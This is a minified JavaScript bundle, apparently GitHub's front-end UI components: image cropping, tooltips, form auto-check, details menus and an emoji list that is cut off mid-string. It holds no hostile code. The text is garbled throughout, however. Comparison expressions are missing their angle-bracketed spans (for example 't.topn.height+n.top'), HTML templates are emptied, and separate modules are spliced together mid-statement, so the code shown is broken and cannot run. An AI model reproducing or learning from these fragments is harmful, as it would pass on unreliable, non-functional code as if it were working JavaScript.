Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE